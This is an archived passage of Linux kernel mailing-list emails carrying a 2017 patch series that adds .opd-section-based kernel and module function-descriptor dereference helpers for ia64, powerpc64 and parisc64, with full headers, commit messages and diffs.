         2TuDt9ze9HKmr1xr1KYddGgTj3bvF6l29oYGkDao6nvvJJeBTAhs3Yn+z7uClT9eUstR
         aiBxChFQJZuyyghhEcRE7enY5Ky0LjWiaSn/ox34U+BTkPBcMacau6ZG0tyZfBtooQGe
         kzOKF65DISM8JA3qqxyWT/y6BKahggn5xEsBXR+gFBh6mHjLgmz36Xs0qduhiCZWCoF1
         biTb/+yyACJkiOyPiUClKlCMWg/K/yenCe0WCLE7WX3llAcNOC+NCr1Rb4Is1ZaHhqr0
         zSxQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=QZSKSt+O5+vYboMiWOmZWliRM+Ti3viXsQm4YQqwSi4=;
        b=o9Ricyv3n1iQ7mOqRdBDzOmjPfq4Q5Q1PsAPZkZhfVFktpag1cD2OcoVXRLpn+NLAH
         XuNuJrMhL+g4jwfrHP0Ah0BbV7U/6NxP7PY/w9YdXJ4gf69Cu7FISuM/t3DK+tH5dSpL
         0HfU/nz/snpV4MyEQZfXsDqz+al39w3/Is8zcZT+52fnI5zvjDZtXb+CdKmQVGEzBCxA
         YIc/SdlbFDmnDmZPTU9+uOm5fj479AR7B0Gj+Y3M0WKBHhKymubX6sZvVbesbVWM+p4r
         lwjSumBcDIgD/4sLn1dS7j5MWjU7sNltUGSLDG8pR4ju+VFa75583waSAyk8bTGk+NY0
         X4lA==
X-Gm-Message-State: AJaThX6K6ffo1FeQBwPdRE5j7bQQaV4a6a8IEZAXKjazuHHzz17xJoK6
        rx0N3Ps0ySvcF+qOiFC5M6w=
X-Google-Smtp-Source: ABhQp+TwogsEdwNO9VwhrHBUrflDXsqf3NNYyhJ5kjSvbNlJjkJ1SXhKMAkLyIkfHUJVtmBXL11E3A==
X-Received: by 10.99.133.200 with SMTP id u191mr2097175pgd.327.1510271429548;
        Thu, 09 Nov 2017 15:50:29 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.24
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:28 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27955 gmane.linux.ports.ia64:28294 gmane.linux.ports.ppc64.devel:150112 gmane.linux.kernel:2613938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27955>

There are two format specifiers to print out a pointer in symbolic
format: '%pS/%ps' and '%pF/%pf'. On most architectures, the two
mean exactly the same thing, but some architectures (ia64, ppc64,
parisc64) use an indirect pointer for C function pointers, where
the function pointer points to a function descriptor (which in
turn contains the actual pointer to the code). The '%pF/%pf, when
used appropriately, automatically does the appropriate function
descriptor dereference on such architectures.

The "when used appropriately" part is tricky. Basically this is
a subtle ABI detail, specific to some platforms, that made it to
the API level and people can be unaware of it and miss the whole
"we need to dereference the function" business out. [1] proves
that point (note that it fixes only '%pF' and '%pS', there might
be '%pf' and '%ps' cases as well).

It appears that we can handle everything within the affected
arches and make '%pS/%ps' smart enough to retire '%pF/%pf'.
Function descriptors live in .opd elf section and all affected
arches (ia64, ppc64, parisc64) handle it properly for kernel
and modules. So we, technically, can decide if the dereference
is needed by simply looking at the pointer: if it belongs to
.opd section then we need to dereference it.

The kernel and modules have their own .opd sections, obviously,
that's why we need to split dereference_function_descriptor()
and use separate kernel and module dereference arch callbacks.

This patch does the first step, it
a) adds dereference_kernel_function_descriptor() function.
b) adds a weak alias to dereference_module_function_descriptor()
   function.

So, for the time being, we will have:
1) dereference_function_descriptor()
   A generic function, that simply dereferences the pointer. There is
   bunch of places that call it: kgdbts, init/main.c, extable, etc.

2) dereference_kernel_function_descriptor()
   A function to call on kernel symbols that does kernel .opd section
   address range test.

3) dereference_module_function_descriptor()
   A function to call on modules' symbols that does modules' .opd
   section address range test.

[1] https://marc.info/?l=linux-kernel&m=150472969730573

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 include/asm-generic/sections.h | 8 ++++++--
 include/linux/module.h         | 3 +++
 kernel/module.c                | 6 ++++++
 3 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index 03cc5f9bba71..849cd8eb5ca0 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -30,6 +30,7 @@
  *	__ctors_start, __ctors_end
  *	__irqentry_text_start, __irqentry_text_end
  *	__softirqentry_text_start, __softirqentry_text_end
+ *	__start_opd, __end_opd
  */
 extern char _text[], _stext[], _etext[];
 extern char _data[], _sdata[], _edata[];
@@ -49,12 +50,15 @@ extern char __start_once[], __end_once[];
 /* Start and end of .ctors section - used for constructor calls. */
 extern char __ctors_start[], __ctors_end[];
 
+/* Start and end of .opd section - used for function descriptors. */
+extern char __start_opd[], __end_opd[];
+
 extern __visible const void __nosave_begin, __nosave_end;
 
-/* function descriptor handling (if any).  Override
- * in asm/sections.h */
+/* Function descriptor handling (if any).  Override in asm/sections.h */
 #ifndef dereference_function_descriptor
 #define dereference_function_descriptor(p) (p)
+#define dereference_kernel_function_descriptor(p) (p)
 #endif
 
 /* random extra sections (if any).  Override
diff --git a/include/linux/module.h b/include/linux/module.h
index c69b49abe877..9dac6973b001 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -606,6 +606,9 @@ int ref_module(struct module *a, struct module *b);
 	__mod ? __mod->name : "kernel";		\
 })
 
+/* Dereference module function descriptor */
+void *dereference_module_function_descriptor(struct module *mod, void *ptr);
+
 /* For kallsyms to ask for address resolution.  namebuf should be at
  * least KSYM_NAME_LEN long: a pointer to namebuf is returned if
  * found, otherwise NULL. */
diff --git a/kernel/module.c b/kernel/module.c
index ab2978e4239c..1d6e996caa13 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -3938,6 +3938,12 @@ static const char *get_ksymbol(struct module *mod,
 	return symname(kallsyms, best);
 }
 
+void * __weak dereference_module_function_descriptor(struct module *mod,
+						     void *ptr)
+{
+	return ptr;
+}
+
 /* For kallsyms to ask for address resolution.  NULL means not found.  Careful
  * not to lock to avoid deadlock on oopses, simply disable preemption. */
 const char *module_address_lookup(unsigned long addr,
-- 
2.15.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv4 2/6] ia64: Add .opd based function descriptor dereference
Date: Fri, 10 Nov 2017 08:48:26 +0900
Lines: 95
Approved: news@gmane.org
Message-ID: <20171109234830.5067-3-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271442 18144 195.159.176.226 (9 Nov 2017 23:50:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:50:42 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 10 00:50:37 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eCwai-0004RV-2q
	for glk-linux-kernel-3@m.gmane.org; Fri, 10 Nov 2017 00:50:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755373AbdKIXuj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:39 -0500
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:45314 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754502AbdKIXug (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 9 Nov 2017 18:50:36 -0500
Original-Received: by mail-pf0-f194.google.com with SMTP id d28so5437128pfe.2;
        Thu, 09 Nov 2017 15:50:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=UaqRt1smuZzvbe8uveWMIsZ0DA2RPsD/o2ale1Nc+rc=;
        b=O+L/SxPECrGH0GwSQ2KL+U37QRSp6CwXb78MkIEa4eIra5SE6Amt5WEq9DMPk1Xovq
         Ob3Ewz8eHlsRrN/eBjWTtId5eGnq8fr1yA9uPlFI4whr81grKqBv3Je0xoX7lXEzDrW6
         ELncvnstdTEq3LN00kys9QUj+qF4JELv6sKMLcuiGHuAlncUJLq+h3JbwM13f0eJKxhL
         LuY3uuLkU6NHf/V7lTLap2XHnUDN4b8JkXWHlv4Mp7LilYEvo9Fvyr2Fcxb2S1zRD3dT
         P9DkDMhPQxX/8pdUdrQRc4AZghjoym90ax8ZpgvXNb/rDvmfJAKCucV8vsWsswMduevi
         3d7Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=UaqRt1smuZzvbe8uveWMIsZ0DA2RPsD/o2ale1Nc+rc=;
        b=pM81N2MdxD7HkMY8OcSLCKAY6oAfKv8e402rCxgr/keJq4flmd+eUaSJNyrvNvR4Qj
         wHvQ7eQ/Dqd4M5k25jq+wMJH3l1lKkiOTgBs52c3SrWXTE6wjKzp/PYgodfa3Zg2BQxo
         DKpYdSRwtr2BZ0MriDGBvQv2Lo8vuPf4rpXXuDB3aG4itH87zKZQ7H2oeXLCAJfjy0nc
         KSKa248olh1KBHM4TRK4c24huTL8htW1q+79OP8m7Bs8hhpiaYKvyXKpaiOTTnHi6hXc
         MwJi/MXs5a2+Uy0f/i8hSPQZ7alzQxcMHql1PgVuXFR0sRHeT1jE205FtMLn0AvyMPlu
         BMbQ==
X-Gm-Message-State: AJaThX7RTP07bcUHryL/dFjdiNv8kBMT9djeQnGFB+F74FYJRoyOBo/H
        C7HR2NqGkyZ5aJsPMD8idEA=
X-Google-Smtp-Source: ABhQp+T2wdePCUduJL9usty0aF4TXGsxg5uyn7tdRmkb+BJVvUrC+VL9euaWP+91xlV3ozCfNFNb0A==
X-Received: by 10.98.113.130 with SMTP id m124mr2145880pfc.157.1510271435178;
        Thu, 09 Nov 2017 15:50:35 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:34 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2613939 gmane.linux.ports.ia64:28295 gmane.linux.ports.parisc:27956 gmane.linux.ports.ppc64.devel:150113
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2613939>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for IA64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd);

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end).

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/ia64/include/asm/sections.h | 10 +++++++++-
 arch/ia64/kernel/module.c        | 12 ++++++++++++
 arch/ia64/kernel/vmlinux.lds.S   |  2 ++
 3 files changed, 23 insertions(+), 1 deletion(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index f3481408594e..cea15f2dd38d 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -27,6 +27,8 @@ extern char __start_gate_brl_fsys_bubble_down_patchlist[], __end_gate_brl_fsys_b
 extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
 
+#define HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR 1
+
 #undef dereference_function_descriptor
 static inline void *dereference_function_descriptor(void *ptr)
 {
@@ -38,6 +40,12 @@ static inline void *dereference_function_descriptor(void *ptr)
 	return ptr;
 }
 
+#undef dereference_kernel_function_descriptor
+static inline void *dereference_kernel_function_descriptor(void *ptr)
+{
+	if (ptr < (void *)__start_opd || ptr >= (void *)__end_opd)
+		return ptr;
+	return dereference_function_descriptor(ptr);
+}
 
 #endif /* _ASM_IA64_SECTIONS_H */
-
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 853b5611a894..326448f9df16 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -36,6 +36,7 @@
 
 #include <asm/patch.h>
 #include <asm/unaligned.h>
+#include <asm/sections.h>
 
 #define ARCH_MODULE_DEBUG 0
 
@@ -918,3 +919,14 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+void *dereference_module_function_descriptor(struct module *mod, void *ptr)
+{
+	Elf64_Shdr *opd = mod->arch.opd;
+
+	if (ptr < (void *)opd->sh_addr ||
+			ptr >= (void *)(opd->sh_addr + opd->sh_size))
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
diff --git a/arch/ia64/kernel/vmlinux.lds.S b/arch/ia64/kernel/vmlinux.lds.S
index 58db59da0bd8..31e688981b4b 100644
--- a/arch/ia64/kernel/vmlinux.lds.S
+++ b/arch/ia64/kernel/vmlinux.lds.S
@@ -108,7 +108,9 @@ SECTIONS {
 	RODATA
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	/*
-- 
2.15.0



From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv4 3/6] powerpc64: Add .opd based function descriptor dereference
Date: Fri, 10 Nov 2017 08:48:27 +0900
Lines: 118
Approved: news@gmane.org
Message-ID: <20171109234830.5067-4-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271450 19231 195.159.176.226 (9 Nov 2017 23:50:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:50:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 10 00:50:45 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eCwao-0004iU-GV
	for glk-linux-kernel-3@m.gmane.org; Fri, 10 Nov 2017 00:50:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755404AbdKIXur (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:47 -0500
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:55484 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755383AbdKIXul (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 9 Nov 2017 18:50:41 -0500
Original-Received: by mail-pg0-f67.google.com with SMTP id 207so3205605pgc.12;
        Thu, 09 Nov 2017 15:50:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=+/1dx3IeNeIDHtj+Ai5Hr5JIinukDMvP/AsT4drYWSU=;
        b=Qz02/UqTZjrQZuMAhPecrwT2ySlkXcZutcjs9rDNVp90AYgNXe4zmht+eDbidxX55s
         a9KgU/Zq28BgF8B4iZodWZcpXHg1tR7Ds7hcJmK0L+d1PJGikHauF0iqJaSf0wNUkCHL
         +DGceiSXEruoZuOc2bnIMD5517eVwt8840l+ABZriai4bOHfoPNX6HsIpB1TykKgyizO
         Qb9fCPclCevSVOyLywdWBP8XOntYjZcuTvbX42ZH0cv0OQ0NAcghGZ2kEFOwB/AzhzzA
         +FK6TcpPQuwrUd9xkCtby9z53CnpXqc1OZo3vY4pjUor94WxYbZ3c0dCJV0mPp0/myy3
         jtrA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=+/1dx3IeNeIDHtj+Ai5Hr5JIinukDMvP/AsT4drYWSU=;
        b=R/HA2Un/4h8Hz40zz9JpqFnK/Gpj+N4UhuLSHtDyY5rJa/GBcVWR8KUoT5hbnnIinL
         UUjAB6xwUqtnAyWUqKgbZ9BxBpUw7o/rbt1qssNb1bk7x7XAdhWn0EiUbLJjlDgL60e9
         V7rvgQgoliyWywx7RPn9An6V37b0GWgdLPyDZSuj5A5lYJUK5kyBynGWgUr7fKcUd4u+
         7JGxhkF5JVHHDkyIfNrk3tGlf6H6sFtO9C8zwfSXzPqQriBgIoE92WVzO1PfbvU5vzzI
         SyImujQ8FIEcYXmjsE2AivbyKAs8jqNs3/pcddxVLXkFEOL9Tuj9nKmXaiFY3BC3pfnb
         /aJA==
X-Gm-Message-State: AJaThX4s49Nh2MPoJ/NUgWteMkvDMx+IDlAw8THizeLsYNunT/1F/6eS
        AfJsaD6tjKiM13nCgEbWebM=
X-Google-Smtp-Source: ABhQp+RksV95Q5byTkrd/iXACOmhI33iJHVU6jSGJzXPpWqKT7V9I6WS9rwL2CFeAfXvDuWtZ+oItw==
X-Received: by 10.101.97.20 with SMTP id z20mr2056794pgu.267.1510271440564;
        Thu, 09 Nov 2017 15:50:40 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.35
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:40 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2613940 gmane.linux.ports.ia64:28296 gmane.linux.ports.parisc:27957 gmane.linux.ports.ppc64.devel:150114
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2613940>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for powerpc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd);

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end).

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/powerpc/include/asm/module.h   |  3 +++
 arch/powerpc/include/asm/sections.h | 12 ++++++++++++
 arch/powerpc/kernel/module_64.c     | 14 ++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
 4 files changed, 31 insertions(+)

diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
index 6c0132c7212f..7e28442827f1 100644
--- a/arch/powerpc/include/asm/module.h
+++ b/arch/powerpc/include/asm/module.h
@@ -45,6 +45,9 @@ struct mod_arch_specific {
 	unsigned long tramp;
 #endif
 
+	/* For module function descriptor dereference */
+	unsigned long start_opd;
+	unsigned long end_opd;
 #else /* powerpc64 */
 	/* Indices of PLT sections within module. */
 	unsigned int core_plt_section;
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 82bec63bbd4f..e335a8f846af 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -66,6 +66,9 @@ static inline int overlaps_kvm_tmp(unsigned long start, unsigned long end)
 }
 
 #ifdef PPC64_ELF_ABI_v1
+
+#define HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR 1
+
 #undef dereference_function_descriptor
 static inline void *dereference_function_descriptor(void *ptr)
 {
@@ -76,6 +79,15 @@ static inline void *dereference_function_descriptor(void *ptr)
 		ptr = p;
 	return ptr;
 }
+
+#undef dereference_kernel_function_descriptor
+static inline void *dereference_kernel_function_descriptor(void *ptr)
+{
+	if (ptr < (void *)__start_opd || ptr >= (void *)__end_opd)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
 #endif /* PPC64_ELF_ABI_v1 */
 
 #endif
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index 759104b99f9f..218971ac7e04 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -93,6 +93,15 @@ static unsigned int local_entry_offset(const Elf64_Sym *sym)
 {
 	return 0;
 }
+
+void *dereference_module_function_descriptor(struct module *mod, void *ptr)
+{
+	if (ptr < (void *)mod->arch.start_opd ||
+			ptr >= (void *)mod->arch.end_opd)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
 #endif
 
 #define STUB_MAGIC 0x73747562 /* stub */
@@ -344,6 +353,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
 		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
 			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
 					  sechdrs[i].sh_size);
+		else if (!strcmp(secstrings + sechdrs[i].sh_name, ".opd")) {
+			me->arch.start_opd = sechdrs[i].sh_addr;
+			me->arch.end_opd = sechdrs[i].sh_addr +
+					   sechdrs[i].sh_size;
+		}
 
 		/* We don't handle .init for the moment: rename to _init */
 		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S
index 0494e1566ee2..5dac5ab22fa2 100644
--- a/arch/powerpc/kernel/vmlinux.lds.S
+++ b/arch/powerpc/kernel/vmlinux.lds.S
@@ -278,7 +278,9 @@ SECTIONS
 	}
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	. = ALIGN(256);
-- 
2.15.0



From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv4 4/6] parisc64: Add .opd based function descriptor dereference
Date: Fri, 10 Nov 2017 08:48:28 +0900
Lines: 132
Approved: news@gmane.org
Message-ID: <20171109234830.5067-5-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271455 20128 195.159.176.226 (9 Nov 2017 23:50:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:50:55 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 10 00:50:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eCwau-0004iU-Hm
	for glpp-linux-parisc@m.gmane.org; Fri, 10 Nov 2017 00:50:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755416AbdKIXu4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:56 -0500
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:56981 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755381AbdKIXuq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 9 Nov 2017 18:50:46 -0500
Original-Received: by mail-pf0-f194.google.com with SMTP id b85so5416282pfj.13;
        Thu, 09 Nov 2017 15:50:46 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=BN46O+s3L77gknn0aCxUnu8+0O1IITmhZhbaANaB8vw=;
        b=vNjYcKWmJyAILH2iBZESL+EaC0SNRBbkUwpKaXnRm74O7loJ53xLLPyPl68GGHYBDn
         RRQnLEdvv00qTAqA5p4vAo35lY/o8KpBVfdHlA3tZm6L4hzKVbBCTnPHM3Zr0+9/Gz+Q
         bfbngg8D36jpZ8DIBTbik9LyXd9rot6vCtIMrYVJyhAoBau7AOkIXDbv7xV/u3qqV+Gy
         md8IWWYqUHd61P/nSZVEUubj3YJaKcYQEsugSD541X4ROLq62rrdeThJn+buhgKS0Pd5
         HGJ6uLqBYxB3QBZyX7i1tRyEkQNBIEYfr5M7O/GJBtVKejjjhW2fzo3YoKM7qnW7NMmG
         pfNQ==
